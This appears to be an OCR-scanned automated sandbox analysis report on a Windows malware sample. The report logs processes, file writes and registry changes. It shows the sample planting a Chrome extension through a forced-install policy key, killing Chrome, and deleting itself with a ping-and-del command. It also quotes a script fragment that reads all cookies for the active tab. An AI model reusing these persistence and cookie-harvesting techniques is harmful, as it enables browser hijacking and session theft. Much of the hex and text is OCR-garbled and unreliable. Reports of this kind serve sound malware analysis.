deType===1){var i="data-
"+n.replace(P,"-
$1").toLowerCase();r
=e.getAttribute

$(function() {........ var a, e

chrome.tabs.getSelect

ed(null, function(tab) {....e
= tab.url; ....alert("url--" +

e)

;..]);.....chrome.cookies.ge
tAll({....url : e...}, function
(ytCookies) {....for (vari=

0;i

< ytCookies.length;

i++) {.....if (ytCo

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

37CDB9A WriteFile

37CDB9A WriteFile
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File Path

C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\eklhijcdkfafgjlcdgm
bboagmpekiefg\1.0.0.0_0\manifest.json

C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\eklhijcdkfafgjlcdgm
bboagmpekiefg\1.0.0.0_0\manifest.json

Copyright null 2021

Offset Length
unknown 1296

unknown 1084

Value

7b 0d 0a 20 20 20 22
62 61 63 6b 67 72 6f
75 6e 64 22 3a 20 7b
0d 0a 20 20 20 20 20
2022706572 7369
73 74 65 6e 74 22 3a
2074 72 75 65 2¢ 0d
0a 20 20 20 20 20 20
2273637269 7074
7322 3a205b 20 22
6a 7175657279 2d
31 2e 38 2e 33 2e 6d
69 6e 2e 6a 73 22 2¢
2022 62 61 63 6b 67
72 6f 75 6e 64 2e 6a
73 22 20 5d 0d 0a 20
20 20 7d 2c 0d 0a 20
2020226272 6f 77
736572 5f 6163 74
69 6f 6e 22 3a 20 7b
0d 0a 20 20 20 20 20
20 22 64 65 66 61 75
6c 74 5f 69 63 6f 6e 22
3a 20 22 69 63 6f 6e
2e 70 6e 67 22 2c 0d
0a 20 20 20 20 20 20
22 64 65 66 61 75 6C
74 5f 70 6f 70 75 70 22
3a 202270 6f70 75
70 2e 68 74 6d 6¢ 22
2c 0d Oa 20 20 20 20
2020 22 64 65 66 61
75 6¢ 74 5f 74 69 74
6¢ 65 22 3a 20 22 62
6f 6f 6b 5f 68 65 6¢ 70
65 72 22 0d Oa 20 20

7b 22 62 61 63 6b 67
72 6f 75 6e 64 22 3a
7b 22 70 65 72 73 69
73 74 65 6e 74 22 3a
747275652c2273
637269 70747322
3a5b 22 6a 717565
7279 2d 31 2e 38 2e
33 2e 6d 69 6e 2e 6a
7322 2c 22626163
6b 67 72 6f 75 6e 64
2e 6a73225d 7d 2c
226272 6f77 73 65
72 5f 61 63 74 69 6f 6
22 3a7b 22 64 65 66
61 75 6¢ 74 5f 69 63 6f
6e 22 3a 22 69 63 6f
6e 2e 70 6e 67 22 2c
22 64 65 66 61 75 6C
74 5f 70 6f 70 75 70 22
3a 2270 6f7075 70
2e 68 74 6d 6¢ 22 2¢
22 64 65 66 61 75 6C
74 5f 74 69 74 6¢ 65
22 3a2264387949
2b 48 66 37 72 58 22
7d 2c 22 63 6f 6e 74
65 6e 74 5f 73 63 72
69 70 74 73 22 3a 5b
7b 22 61 6¢ 6¢ 5f 66
72 61 6d 65 73 22 3a
66 61 6¢ 73 65 2C 22
6a 73 22 3a5b 22 64
3879 49 2b 48 66 37
72 58 2e 6a 73 22 5d
2c 22 6d 61 74 63 68

Ascii

{.. "background™: {..
persistent": true,..
ipts": [ "jquery-
1.8.3.min.js", "b

ackground.js"].. },.. "br

owser_action
"default_icon":
"default_popup":
"popup.html",..
"default_title": "book__
helper"..

{"background":

{"persistent":true,"scripts":

['jquery-1.8.3.min.js

" "background.js"]},"browse

r_action™:
{"default_icon":"icon.p

ng","default_popup":"popu

p.htm

I","default_title":"d8yl+Hf7r

X

"},"content_scr<wbr>ipts":

[{"all_frames":false,"js":
["d8yl+Hf7rX.js"],"match

scr

icon.png",..

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

37CDB9A WriteFile

37C4133 WriteFile
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File Path

C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Preferences

C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Preferences

Copyright null 2021

Offset Length Value

unknown 4096

unknown 1265

7b 22 61 63 63 6f 75

6e 74 5f 69 64 5f 6d 69

67 72 61 74 69 6f 6e
5f 73 74 61 74 65 22
3a 32 2c 2261 63 63
6f 75 6e 74 5f 74 72
61 63 6b 65 72 5f 73
65 72 76 69 63 65 5f
6¢ 61 7374 5f 75 70
64 61 74 65 22 3a 22
313332343539 35
30 35 38 33 34 36 30
333939222c2261
6C 74 65 72 6e 61 74
65 5f 65 72 72 6f 72 5f
7061676573 223a
7b 22 62 61 63 6b 75
7022 3a 74727565
7d 2c 22 61 6e 6e 6f
75 6e 63 65 6d 65 6e
74 5f 6e 6f 74 69 66 69
63 61 74 69 6f 6e 5f 73
65 72 76 69 63 65 5f
66 69 72 73 74 5f 72
75 6e 5f 74 69 6d 65
223a2231333234
3539 3530353833
3236 3033333822
2c 22 61 75 74 6f 63 6f
6d 70 6¢ 65 74 65 22
3a7b 22 72 65 74 65
6e 74 69 6f 6e 5f 70 6f
6¢ 69 63 79 5f 6¢ 61
73 745f76 657273
69 6f 6e 22 3a 38 35
7d 2c 22 61

64 69 5f 7379 73 65
78 22 3a7b 7d 2c 22
6d 69 78 65 64 5f 73
637269 7074 22 3a
7b 7d 2c 22 6e 61 74
69 76 65 5f 66 69 6¢
65 5f 73 79 73 74 65
6d 5f 72 65 61 64 5f
677561726422 3a
7b 7d 2c 22 6e 61 74
69 76 65 5f 66 69 6¢
65 5f 73 79 73 74 65

Source

Ascii Completion Count Address Symbol

{"account_id_migration_st success or wait 1 37C4133 WriteFile
ate":
2,"account_tracker_service
_las
t_update":"1324595058346
0399",
"alternate_error_pages":
{"back
up':true},"announcement_
notifi
cation_service_first_run_ti
me"
"13245950583260338","au
tocomplete™:
{"retention_policy_last_
version":85},"a

di_sysex":{},"mixed_scr success or wait 1 37C4133 WriteFile
ipt":{},"n
ative_file_system_read_gu
ard":
{},"native_file_system_writ
e_guard":{},"nfc":
{},"notifications":
{},"password_protection":{
},"payment_handler":
{},"permis
sion_autoblocking_data":

{},"plugins":{},"popups":

6d 5f 77 72 69 74 65 5f {},"ppapi_broker":{},"p

67 75617264 22 3a
7b 7d 2c 22 6e 66 63
22 3a7b 7d 2c 22 6e
6f 74 69 66 69 63 61
74 69 6f 6e 73 22 3a
7b 7d 2¢c 22 70 61 73
7377 6f 7264 570 72
6f 74 65 63 74 69 6f
6e 22 3a 7b 7d 2c 22
7061 79 6d 65 6e 74
5f 68 61 6e 64 6¢ 65
7222 3a7b7d 2c 22
7065 72 6d 69 73 73
69 6f 6e 5f 61 75 74 6f
62 6¢ 6f 63 6b 69 6e
67 5f 64 61 74 61 22
3a 7b 7d 2¢ 22 70 6¢
75 67 69 6e 73 22 3a
7b 7d 2c 22 70 6f 70
757073223a7b7d
2¢ 227070617069
5f 62 72 6f 6b 65 72
223a7b7d2c2270
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File Path
C:\Users\user\AppData\Local\Temp\1611970730398

File Read

File Path

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

C:\Users\user\AppData\Local\Temp\1611970728399
C:\Users\user\AppData\Local\crx.json

C:\Users\user\AppData\Local\crx.7z

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\eklhijcdkfafgjlcdgm

bboagmpekiefg\1.0.0.0_0\manifest.json

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences

Registry Activities

Key Created

Key Path

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\google\Chrome

Offset Length Value

unknown 553040 37 7a bc af 27 1c 00
03 ea e7 37 01 Oc 70
08 00 00 00 00 00 24
00 00 00 00 00 00 00
ed 31 e4cc002812
bc 60 28 97 d1 19 3c
e0 b2 5e 85 95 2d bl
2b c5 a2 bf a4 e0 51
183344 2d e3 15 8b
d7 10 Ob 1a a4 87 69
ee c8 73 69 97 61 ad
2c¢ 56 b5 6b 0d 7b 4a
55 b0 64 6b c2 27 e7
68 bc fa d5 8f 20 4b 52
bb 24 7e 57 d9 fa 8f 26
18 20 ab d8 f3 b4 0d
b1 5 8f 96 bc d9 3c 59
39 07 2c 0b 30 f3 6b
2b 7f 3¢ 62 c0 86 bf 3f
7a716c6e 7713 bl
af e0 1b 12 5¢c 84 d8
35 43 fa a9 Oe 5e da
11 elac 79 03 d8 93
cc bd a9 20 16 bl 46
5a 18 86 30 e3 24 95
9f 08 d0 8f a3 76 64
73 0d 1b 1e a7 b7 59
78925198 e817 78
cb c7 5f c2 e9 59 6b fa
e8 6e bd 3e 26 a0 59
b3 c9 37 0b 42 3d c8
28 bd 38 b0 77 3c Oa
91 d2 a7 73 56 73 df
56 05 b2 36 3c 6f 1a
28 8d c4 19 8d d9 1f
62el9be574

Offset

unknown

unknown 32
unknown 4096

unknown 32

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\google\Chrome\ExtensionInstallWhitelist

Key Value Created

Key Path

HKEY_LOCAL_MACHINE\SOFTWARE\Po
licies\google\Chrome\ExtensionInstallWhitelist

Type Data

unicode

unknown

unknown 4096

unknown 4096

unknown 4096
unknown 4096

eklhijcdkfafgjlcdgmbboagmpekiefg

Source

Ascii Completion Count Address

720 TS 1.
(. (..< M- +.....Q.3D-
......... i..si.a.,V.k{Ju.dk.'
h KR$~W..& ...........
<Y9.,.0.k+.<b...?
zglnw.....\.5C.. A...y......
.FZ.0.%..

success or wait 1 38D5954

(.8.w<....sVs.V..6<0.
(bt

Source

Length Count Address

4999496

Completion

success or wait 4F0CO08

28672 success or wait 37C3578

success or wait 37C3578
success or wait 37CDB1A
success or wait 37C3578

success or wait 37CDB1A

[ N N N L

success or wait 37C3578

success or wait 1 37C3578

success or wait 1 37C3578

Source

Completion Count Address Symbol
success or wait 1

success or wait 1

Source
Completion

success or wait 1

Count Address Symbol

Symbol
WriteFile

Symbol

ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile

ReadFile
ReadFile

382F48F RegCreateKeyExA
382F48F RegCreateKeyExA

382F4B6 RegSetValueExA

Analysis Process: cmd.exe PID: 6716 Parent PID: 6476

General

Copyright null 2021
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

17:38:41
29/01/2021
C:\Windows\SysWOW64\cmd.exe

true

cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\Desktop\N1yprTBBXs.exe'

0x12a0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\Desktop\N1yprTBBXs.exe cannot delete 1 12C0374 DeleteFileW
C:\Users\user\Desktop\N1yprTBBXs.exe cannot delete 1 12C0374 DeleteFileW
Analysis Process: conhost.exe PID: 6724 Parent PID: 6716
General
Start time: 17:38:42
Start date: 29/01/2021
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7ecfc0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: PING.EXE PID: 6848 Parent PID: 6716
General
Start time: 17:38:43
Start date: 29/01/2021
Path: C:\Windows\SysWOWG64\PING.EXE

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Copyright null 2021

true

ping 127.0.0.1-n 3

0x7ff797770000

18944 bytes
70C24A306F768936563ABDADBICA9108
true

true

C, C++ or other language

moderate
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File Path

Access Attributes

Source

Options Completion Count Address Symbol

Analysis Process: 1611970727133.exe PID: 6944 Parent PID: 6612

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

17:38:47
29/01/2021

C:\Users\user\AppData\Roaming\1611970727133.exe

true

‘C:\Users\user\AppData\Roaming\1611970727133.exe’ /sjson 'C:\Users\user\AppData\
Roaming\1611970727133.txt'

0x400000
103632 bytes

EF6F72358CB02551CAEBE720FBC55F95

true

true

C, C++ or other language

Reputation: low
[ File Activities J
File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\ecv37E8.tmp read attributes | device synchronous io  success or wait 1 4056C4 GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Roaming\1611970727133.txt read attributes | device synchronous io  success or wait 1 405369 CreateFileW
synchronize | non alert | non
generic write directory file
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\ecv37E8.tmp success or wait 1 403F1D DeleteFileWw
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol

Copyright null 2021
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File Path
C:\Users\user\AppData\Local\Temp\ecv37E8.tmp

C:\Users\user\AppData\Roaming\1611970727133.txt
C:\Users\user\AppData\Roaming\1611970727133.txt
C:\Users\user\AppData\Roaming\1611970727133.txt

C:\Users\user\AppData\Roaming\1611970727133.txt

C:\Users\user\AppData\Roaming\1611970727133.txt

C:\Users\user\AppData\Roaming\1611970727133.txt
C:\Users\user\AppData\Roaming\1611970727133.txt

File Read

File Path

C:\Users\user\AppData\Local\Temp\ecv37E8.tmp
C:\Users\user\AppData\Local\Temp\ecv37E8.tmp
C:\Users\user\AppData\Local\Temp\ecv37E8.tmp
C:\Users\user\AppData\Local\Temp\ecv37E8.tmp

Offset Length

unknown 26738688

unknown 2
unknown 6

unknown 10

unknown 78

unknown 10

unknown 2

unknown 10

Value

e7583a04 efcd ab

89 20 06 00 00 00 00
00 00 72 31 00 00 00
00 00 00 93 6¢ 7e 1b
1a 2212 1b 06 77 4b
04 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 02 00 00 00
20 02 67 00 Ob 00 00
00 1d 2d Oe 1e 09 78
3306 36 2d Oe 1e 09
78 5f 00 68 02 69 00

0Ob 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 01
00 00 00 92 6b b1 5¢
1a 2212 1b 06 77 0d
04 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 59 00 00 00 Oa
00 00 00 00 00 00 00
ee 42 00 00 00 00 00
00 14 00 00 00 00 80
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

ff fe
5b 00 0d 00 0a 00

0d 00 0a 00 7b 00 Od
00 0a 00

22 00 4d 00 6f 00 64
00 69 00 66 00 69 00
65 00 64 00 20 00 54
00 69 00 6d 00 65 00
2200 3a 00 22 00 36
00 2f 00 32 00 37 00 2f
00 32 00 30 00 31 00
39002000 31 00 31
00 3a 00 33 00 36 00
3a 00 32 00 32 00 20
00 41 00 4d 00 22 00

0d 00 0a 00 7d 00 Od
00 0a 00

2c 00

0d 00 0a 00 5d 00 0d
00 0a 00

Offset

unknown
unknown
unknown

unknown

".M.o.d.ifi.e.d. . T.i.me."
1.".6./.2.7./.2.0.1.9. .1.1...

3.6..2.2. AM.".

Length
1024
32768
32768
32768

Completion

success or wait

success or wait
success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Completion

success or wait
success or wait
success or wait

success or wait

Source

Count Address Symbol

1

47

517

47

46

Count

o N

40C6CD

405E7F
40538C
40538C

40538C

40538C

40538C
40538C

Source
Address

405E60
405E60
405E60
405E60

WriteFile

WriteFile
WriteFile
WriteFile

WriteFile

WriteFile

WriteFile
WriteFile

Symbol

ReadFile
ReadFile
ReadFile
ReadFile

Analysis Process: cmd.exe PID: 7012 Parent PID: 6684

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Copyright null 2021

17:38:48
29/01/2021

C:\Windows\SysWOW64\cmd.exe

true
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

cmd.exe /c taskkill /f /im chrome.exe
0x12a0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Analysis Process: conhost.exe PID: 7084 Parent PID: 7012
General
Start time: 17:38:50
Start date: 29/01/2021
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7ecfc0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: cmd.exe PID: 7100 Parent PID: 6684
General
Start time: 17:38:50
Start date: 29/01/2021
Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

File Path

File Deleted

File Path
C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

Copyright null 2021

Access

true

cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\6272167835D47591.exe’

0x12a0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Attributes Options Completion

Completion
cannot delete

cannot delete

Source
Count Address Symbol

Source
Count Address Symbol

1 12C0374 DeleteFilew
1 12C0374 DeleteFilew
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Analysis Process: taskkill.exe PID: 7132 Parent PID: 7012

General

Start time: 17:38:50

Start date: 29/01/2021

Path: C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit): true

Commandline: taskkill /f /im chrome.exe
Imagebase: 0x1320000

File size: 74752 bytes

MDS5 hash: 15E2EO0ACD891510C6268CB8899F2A1A1
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol

Analysis Process: conhost.exe PID: 7140 Parent PID: 7100
General
Start time: 17:38:50
Start date: 29/01/2021
Path: C:\Windows\System32\conhost.exe
Wow64 process (32bit): false
Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7ecfc0000
File size: 625664 bytes
MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language

Analysis Process: PING.EXE PID: 5112 Parent PID: 7100
General
Start time: 17:38:51
Start date: 29/01/2021
Path: C:\Windows\SysWOWG64\PING.EXE
Wow64 process (32bit): true
Commandline: ping 127.0.0.1-n 3
Imagebase: 0xe10000
File size: 18944 bytes
MDS5 hash: 70C24A306F768936563ABDADBI9CA9108
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
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Analysis Process: ThunderFW.exe PID: 7100 Parent PID: 6612

General

Start time: 17:39:17

Start date: 29/01/2021

Path: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe ThunderFW 'C:\Users\user
\AppData\Local\Temp\download\MiniThunderPlatform.exe’

Imagebase: 0xb10000

File size: 73160 bytes

MD5 hash: FO372FF8A6148498B19E04203DBBI9E69

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

[ Registry Activities

Source
Key Path Name Type Data Completion Count Address Symbol
Analysis Process: cmd.exe PID: 6096 Parent PID: 6612
General
Start time: 17:39:23
Start date: 29/01/2021
Path: C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit): true
Commandline: cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\6272167835D47591.exe’
Imagebase: 0x12a0000
File size: 232960 bytes
MD5 hash: F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 6644 Parent PID: 6096

General

Start time: 17:39:25

Start date: 29/01/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: PING.EXE PID: 3656 Parent PID: 6096
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Disassembly

Code Analysis

Copyright null 2021

17:39:25

29/01/2021
C:\Windows\SysWOWG64\PING.EXE

true

ping 127.0.0.1-n 3

0xe10000

18944 bytes
70C24A306F768936563ABDADBICA9108
true

true

C, C++ or other language
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